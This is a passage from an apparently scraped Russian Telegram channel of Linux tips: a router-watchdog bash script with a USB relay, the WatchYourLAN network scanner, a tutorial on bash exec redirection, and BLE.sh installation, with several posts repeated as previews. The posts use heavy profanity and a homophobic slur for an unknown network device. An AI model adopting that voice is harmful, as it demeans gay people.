ping -c1 -w2 $LNK > /dev/null 2>&1
if [[ $? -eq 0 ]];then
COUNTER=0
sleep $P
fi
done
case $COUNTER in
0) continue;;
2|5|10|15|20|40|60|90|120|180|300) EXECUTE;;
600) COUNTER=300; EXECUTE;;
esac
sleep $P
done
#--
COUNTER
- счетчик циклов присутствия проблемы.P=1m
- задержка в цикле 1 минутаfunction EXECUTE()
- функция, в которой прописываем действия для устранения проблемы.for LNK in ... done
в цикле пингуем адреса, и если хотя бы один ответ получили, сбрасываем счетчик проблем в 0 и выдерживаем паузу. Если ответ на ping не получили без задержек переходим к следующему адресу.Адреса на ping не проверял. Проверяйте, добавляйте, изменяйте сами.
ping -c1
- один пакет -w2
- время ожидания 2 секТаким образом, если все адреса отвечают - каждый из них пингуется раз в 15 минут (задержка * количество адресов). Если отвечает только 1 - пинговаться он будет ежеминутно. Не хорошо, но не критично.
case $COUNTER in ... esac
самый удобный оператор для множественных условий.Если проблем нет
($COUNTER=0)
сразу возвращаемся к пингам. Если проблема есть попробуем ее решить (перезагрузить роутер, например).Попытки будут предприниматься с нарастанием времени на 2,5,...300 циклах.
600) COUNTER=300...;;
- далее попытки проводятся через 300 циклов. Вообще-то строку "600) COUNTER=300; EXECUTE;;"
можно было бы заменить на "599) COUNTER=299;;"
с сохранением логики работы. Но оставил более понятный вариант.Прошу обратить внимание, что цикл чуть больше минуты, когда все хорошо, но когда ping не получает ответа - время ~ 2 сек. То есть время fail-цикла = задержка + (число адресов * 2сек) ~ 1мин 30 сек.
Ну, и теперь самое интересное.
На aliexpress ищем "usb relay". (одиночный < 200 рублей).
Качаем и ставим драйвера и пишем что-то вроде:
declare -r HEX_CODE_OFF='\xA0\x01\x01\xA2'
declare -r HEX_CODE_ON='\xA0\x01\x00\xA1'
#use ls /dev/ttyUSB* ###############################
declare -r USB_DEV=/dev/ttyUSB0
echo -n -e $HEX_CODE_OFF > $USB_DEV
sleep 30
echo -n -e $HEX_CODE_ON > $USB_DEV
Подключаем релюху (контакты NO) в разрыв провода питания роутера - и автомат готов.
PS от Ромы — НО будьте аккуратны, чтобы ёбом не токнуло!
tags: #homework #DIY © by Tagd Tagd
—
🔔
Ну вот и отгуляли лето, впереди новый учебный год, подъемы в 6 утра и ожидание выходных. Но есть и плюсы, хотя…
Ладно, сегодня я тебе принес WatchYourLAN.
Эта хуёвина представляет собой лёгкий сетевой сканер с веб-мордой.
ㅤ
На днях выкатили вторую версию.
Основные фишки:
- Если в твоей сети появился пидор, она тебе сообщит
- Отправляет данные в графану через InfluxDB2
Ради прикола взгромоздил я на малинку WatchYourLAN. Завязал на графану и alertmanager и теперь получаю в телегу алерты, если в сети зарегистрировалось новое устройство.
Охуенно! Чем бы дитя не тешилось.
Запускается прям с докера одной командой:
Не забываем забить свои переменные. На вебморду можно попасть так:
В общем рекомендую потыкать, может кому пригодится для каких-то своих целей.
Официальная репка на гитхабе тут
tags: #utilites
—
🔔 ➡️
Ладно, сегодня я тебе принес WatchYourLAN.
Эта хуёвина представляет собой лёгкий сетевой сканер с веб-мордой.
ㅤ
На днях выкатили вторую версию.
Основные фишки:
- Если в твоей сети появился пидор, она тебе сообщит
- Отправляет данные в графану через InfluxDB2
Ради прикола взгромоздил я на малинку WatchYourLAN. Завязал на графану и alertmanager и теперь получаю в телегу алерты, если в сети зарегистрировалось новое устройство.
Охуенно! Чем бы дитя не тешилось.
Запускается прям с докера одной командой:
docker run --name wyl \
-e "IFACES=$YOURIFACE" \
-e "TZ=$YOURTIMEZONE" \
--network="host" \
-v $DOCKERDATAPATH/wyl:/data/WatchYourLAN \
aceberg/watchyourlan:v2
Не забываем забить свои переменные. На вебморду можно попасть так:
< IP >:8844
В общем рекомендую потыкать, может кому пригодится для каких-то своих целей.
Официальная репка на гитхабе тут
tags: #utilites
—
🔔 ➡️
@glyanka_ru 👀 — твой карманный гид по миру умопомрачителных интерьеров. Зависть соседей обеспечена! Подписывайся!
Когда собирался писать об этом операторе на ум пришла считалочка, которой меня научили в пионерском лагере.
А поскольку я сейчас не матерюсь, чтоб никто не догадался, перейду на старославянский алфавит.
Итак: Шёл Хер по херу, встретил Хера на херу, взял Хер Хера за хер, и к херам закинул нахер.
Вот, а сейчас говорят, что пионеров ничему хорошему не учили...
Есть два варианта использования:
1.
пример:
2. Перенаправление. Это штука крайне нужная и очень понятная. В других, нормальных ЯП она называлась бы open.
В Basic
В bash
В Basic
В bash
В Basic
В bash
В Basic
В bash
Приведу несколько полезных примеров
На код ошибки (типа errorlevel) это не влияет.
Стоп-стоп. Откуда взялся
Все помнят, что
Пример:
Если нужно закрыть 4, например, дескриптор за ненадобностью
tags: #bash © by Tagd Tagd
—
🔔 ➡️
А поскольку я сейчас не матерюсь, чтоб никто не догадался, перейду на старославянский алфавит.
Итак: Шёл Хер по херу, встретил Хера на херу, взял Хер Хера за хер, и к херам закинул нахер.
Вот, а сейчас говорят, что пионеров ничему хорошему не учили...
exec
.Есть два варианта использования:
1.
exec command
— билет в один конец. Для чего это нужно я так и не понял, может умные в комментах напишут. Перед выполнением команды, bash фактически завершается, управление передаётся команде. И все...пример:
exec echo 123
— результат очень красочный. Такой же, как и с любой другой командой.2. Перенаправление. Это штука крайне нужная и очень понятная. В других, нормальных ЯП она называлась бы open.
В Basic
open "filename.txt" for input as #3
В bash
exec 3<fileneme.txt
В Basic
open "filename.txt" for output as #4
В bash
exec 4>filename.txt
В Basic
open "filename.txt" for append as #5
В bash
exec 5>>filename.txt
В Basic
open "filename.txt" for random as #6
В bash
exec 6<>filename.txt
Приведу несколько полезных примеров
exec 2>/dev/null
— все сообщения об ошибках отправить по пути, указанному в считалочке.На код ошибки (типа errorlevel) это не влияет.
exec 1>filename.txt
все сообщения, кроме ошибок отправить в файл.exec 1>filename.txt 2>&1
все сообщения, включая ошибки отправить в файл.Стоп-стоп. Откуда взялся
&?
Легко запомнить. Это костыль. Если вы не укажите &
, сообщения попадут в файл с именем "1".Все помнят, что
0=/dev/stdin 1=/dev/stdout 2=/dev/stderr.
Остальные 3-9 можем использовать по собственному усмотрению.Пример:
#!/bin/bash
seq 1 3|tee 1.txt > 2.txt
exec 3<1.txt
while read -u3 L1;do
exec 4<2.txt
while read -u4 L2;do
echo $L1 $L2
done
done
seq
— создаем два файла, по три строки в каждомexec 3<1.txt
- открываем файл для чтения с дескриптором 3read -u3 L1
читаем из файла с дескриптором 3. Дальше все аналогично.Если нужно закрыть 4, например, дескриптор за ненадобностью
exec 4>&-
man tee seq
help while read exec
tags: #bash © by Tagd Tagd
—
🔔 ➡️
После того как я проверил на себе Suicide Linux, я всё проебал. Пришлось с нуля настраивать всё окружение.
В процессе настройки решил отказаться от zsh + oh-my-zsh и жить на чистом bin/bash.
ㅤ
Через пару дней понял, что мне не хватает «авто-подсказок». В zsh я использовал плагин zsh-autosuggestions, но а как быть с чистым башем? Там плагин через
И нашел я BLE.sh (Bash Line Editor). Звучит же?
Софтина полностью меня устроила, даж красненьким подсвечивает команды когда я хуйню пытаюсь ввести.
Устанавливается просто, клонируешь себе из гит репки файлы, компилируешь и в
Перезапускаешь сессию и получаешь подсказки по командам, которые ты ранее вводил.
Бле так Бле!
В репе есть мануал, там чет через курл-хуюрл ставится и всякие другие способы описаны. Выбирай какой тебе ближе.
Но как быть со сфистоперделками и но...
В процессе настройки решил отказаться от zsh + oh-my-zsh и жить на чистом bin/bash.
ㅤ
Через пару дней понял, что мне не хватает «авто-подсказок». В zsh я использовал плагин zsh-autosuggestions, но а как быть с чистым башем? Там плагин через
.bashrc
хуй поставишь.И нашел я BLE.sh (Bash Line Editor). Звучит же?
Софтина полностью меня устроила, даж красненьким подсвечивает команды когда я хуйню пытаюсь ввести.
Устанавливается просто, клонируешь себе из гит репки файлы, компилируешь и в
~/.profile
подключаешь. Выглядит это так:git clone --recursive https://github.com/akinomyoga/ble.sh.git
make -C ble.sh
echo "source ble.sh/out/ble.sh" >> ~/.profile
Перезапускаешь сессию и получаешь подсказки по командам, которые ты ранее вводил.
Бле так Бле!
В репе есть мануал, там чет через курл-хуюрл ставится и всякие другие способы описаны. Выбирай какой тебе ближе.
Но как быть со сфистоперделками и но...